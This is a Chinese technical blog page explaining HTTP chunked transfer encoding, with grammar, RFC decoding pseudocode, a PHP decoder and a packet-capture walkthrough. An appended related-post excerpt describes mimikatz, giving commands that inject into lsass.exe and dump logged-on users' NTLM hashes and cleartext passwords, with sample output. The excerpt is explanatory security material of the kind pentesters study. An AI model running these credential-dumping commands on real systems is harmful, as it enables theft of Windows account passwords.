Http Trunk

有时候,Web服务器生成HTTP Response是无法在Header就确定消息大小的,这时一般来说服务器将不会提供Content-Length的头信息,而采用Chunked编码动态的提供body内容的长度。

进行Chunked编码传输的HTTP Response会在消息头部设置:

Transfer-Encoding: chunked

表示Content Body将用Chunked编码传输内容。

Chunked编码使用若干个Chunk串连而成,由一个标明长度为0的chunk标示结束。每个Chunk分为头部和正文两部分,头部内容指定下一段正文的字符总数(十六进制的数字)和数量单位(一般不写),正文部分就是指定长度的实际内容,两部分之间用回车换行(CRLF)隔开。在最后一个长度为0的Chunk中的内容是称为footer的内容,是一些附加的Header信息(通常可以直接忽略)。具体的Chunk编码格式如下:

  Chunked-Body = *chunk
         "0" CRLF
         footer
         CRLF 
  chunk = chunk-size [ chunk-ext ] CRLF
       chunk-data CRLF

  hex-no-zero = <HEX excluding "0">

  chunk-size = hex-no-zero *HEX
  chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-value ] )
  chunk-ext-name = token
  chunk-ext-val = token | quoted-string
  chunk-data = chunk-size(OCTET)

  footer = *entity-header

RFC文档中的Chunked解码过程如下:
  length := 0
  read chunk-size, chunk-ext (if any) and CRLF
  while (chunk-size > 0) {
  read chunk-data and CRLF
  append chunk-data to entity-body
  length := length + chunk-size
  read chunk-size and CRLF
  }
  read entity-header
  while (entity-header not empty) {
  append entity-header to existing header fields
  read entity-header
  }
  Content-Length := length
  Remove "chunked" from Transfer-Encoding

最后提供一段PHP版本的chunked解码代码:

$chunk_size= (integer)hexdec(fgets( $socket_fd,4096 ) );
while(!feof($socket_fd) &&$chunk_size>0) {
    $bodyContent.=fread( $socket_fd,$chunk_size );
    fread( $socket_fd,2 ); // skip /r/n
    $chunk_size= (integer)hexdec(fgets( $socket_fd,4096) );
}

HTTP协议中的TRANFER-ENCODING:CHUNKED编码解析
    通常情况下,Transfer-Encoding域的值应当为chunked,表明采用chunked编码方式来进行报文体的传输。chunked编码是HTTP/1.1 RFC里定义的一种编码方式,因此所有的HTTP/1.1应用都应当支持此方式。
    chunked编码的基本方法是将大块数据分解成多块小数据,每块都可以自指定长度,其具体格式如下(BNF文法):
    Chunked-Body   = *chunk            //0至多个chunk
                     last-chunk         //最后一个chunk 
                     trailer            //尾部
                     CRLF               //结束标记符

   chunk          = chunk-size [ chunk-extension ] CRLF   
                        chunk-data CRLF
   chunk-size     = 1*HEX
   last-chunk     = 1*("0") [ chunk-extension ] CRLF

   chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
   chunk-ext-name = token
   chunk-ext-val  = token | quoted-string
   chunk-data     = chunk-size(OCTET)
   trailer        = *(entity-header CRLF)      
    
    解释:
    Chunked-Body表示经过chunked编码后的报文体。报文体可以分为chunk, last-chunk,trailer和结束符四部分。chunk的数量在报文体中最少可以为0,无上限;每个chunk的长度是自指定的,即,起始的数据必然是16进制数字的字符串,代表后面chunk-data的长度(字节数)。这个16进制的字符串第一个字符如果是“0”,则表示chunk-size为0,该chunk为last-chunk,无chunk-data部分。可选的chunk-extension由通信双方自行确定,如果接收者不理解它的意义,可以忽略。
    trailer是附加的在尾部的额外头域,通常包含一些元数据(metadata, meta means "about information"),这些头域可以在解码后附加在现有头域之后。
    实例分析:
    下面分析用ethereal抓包使用Firefox与某网站通信的结果(从头域结束符后开始):
Address  0..........................  f
000c0                                31
000d0    66 66 63 0d 0a ...............   // ASCII码:1ffc/r/n, chunk-data数据起始地址为000d5
         很明显,“1ffc”为第一个chunk的chunk-size,转换为int为8188.由于1ffc后马上就是
         CRLF,因此没有chunk-extension.chunk-data的起始地址为000d5, 计算可知下一块chunk的起始
         地址为000d5+1ffc + 2=020d3,如下:
020d0    .. 0d 0a 31 66 66 63 0d 0a .... // ASCII码:/r/n1ffc/r/n
         前一个0d0a是上一个chunk的结束标记符,后一个0d0a则是chunk-size和chunk-data的分隔符。
         此块chunk的长度同样为8188, 依次类推,直到最后一块
100e0                          0d 0a 31
100f0    65 61 39 0d 0a......            //ASII码:/r/n/1ea9/r/n
         此块长度为0x1ea9 = 7849, 下一块起始为100f5 + 1ea9 + 2 = 11fa0,如下:
100a0    30 0d 0a 0d 0a                  //ASCII码:0/r/n/r/n
         “0”说明当前chunk为last-chunk, 第一个0d 0a为chunk结束符。第二个0d0a说明没有trailer部分,整个Chunk-body结束。
    解码流程:
    对chunked编码进行解码的目的是将分块的chunk-data整合恢复成一块作为报文体,同时记录此块体的长度。
    RFC2616中附带的解码流程如下:(伪代码)
    length := 0         //长度计数器置0
    read chunk-size, chunk-extension (if any) and CRLF      //读取chunk-size, chunk-extension
                                                          //和CRLF
    while(chunk-size > 0 )   {            //表明不是last-chunk
          read chunk-data and CRLF            //读chunk-size大小的chunk-data,skip CRLF
          append chunk-data to entity-body     //将此块chunk-data追加到entity-body后
          read chunk-size and CRLF          //读取新chunk的chunk-size 和 CRLF
    }
    read entity-header      //entity-header的格式为name:valueCRLF,如果为空即只有CRLF
    while (entity-header not empty)   //即,不是只有CRLF的空行
    {
       append entity-header to existing header fields
       read entity-header
    }
    Content-Length:=length      //将整个解码流程结束后计算得到的新报文体length
                                 //作为Content-Length域的值写入报文中
    Remove "chunked" from Transfer-Encoding  //同时从Transfer-Encoding中域值去除chunked这个标记
    length最后的值实际为所有chunk的chunk-size之和,在上面的抓包实例中,一共有八块chunk-size为0x1ffc(8188)的chunk,剩下一块为0x1ea9(7849),加起来一共73353字节。
    注:对于上面例子中前几个chunk的大小都是8188,可能是因为:"1ffc" 4字节,"/r/n"2字节,加上块尾一个"/r/n"2字节一共8字节,因此一个chunk整体为8196,正好可能是发送端一次TCP发送的缓存大小。

From:http://hi.baidu.com/limeng_hoho/item/f4bdbf2b749c1280ae48f56c

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
32位 64位均可 不过在测试过程中 前掉至少得以ADMIN权限运行 法国黑客神器 mimikatz 直接读取管理员密码明文 通杀xp win2003 win7 win2008 WIN2000还未测试 个人感觉应该也可以 没打建环境测试 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 自己尝试了下用 win2008 r2 x64 来测试 总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~ mimikatz: Tool To Recover Cleartext Passwords From Lsass I meant to blog about this a while ago, but never got round to it. Here’s a brief post about very cool feature of a tool called mimikatz. I’m very grateful to the tool’s author for bringing it to my attention. Until that point, I didn’t realise it was possible to recover the cleartext passwords of logged on windows users. Something that I’m sure most pentesters would find very useful. Here’s some sample output provided by the author: mimikatz 1.0 x86 (pre-alpha) /* Traitement du Kiwi */mimikatz # privilege::debugDemande d'ACTIVATION du privilège : SeDebugPrivilege : OKmimikatz # inject::process lsass.exe sekurlsa.dllPROCESSENTRY32(lsass.exe).th32ProcessID = 488Attente de connexion du client...Serveur connecté à un client !Message du processus :Bienvenue dans un processus distant Gentil KiwiSekurLSA : librairie de manipulation des données de sécurités dans LSASSmimikatz # @getLogonPasswordsAuthentification Id : 0;434898Package d'authentification : NTLMUtilisateur principal : Gentil UserDomaine d'authentification : vm-w7-ult msv1_0 : lm{ e52cac67419a9a224a3b108f3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06bdd830b7586c } wdigest : password tspkg : passwordAuthentification Id : 0;269806Package d'authentification : NTLMUtilisateur principal : Gentil KiwiDomaine d'authentification : vm-w7-ult msv1_0 : lm{ d0e9aee149655a6075e4540af1f22d3b }, ntlm{ cc36cf7a8514893efccd332446158b1a } wdigest : waza1234/ tspkg : waza1234/ I wondered why the cleartext password would need to be stored in LSASS – after all every pentester will tell you that you don’t need the password to authenticate, just the hash. A bit of googling seems to indicate that wdigest (the password) is required to support HTTP Digest Authentication and other schemes that require the authenticating party to know the password – and not just the hash. Posted in Blog

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值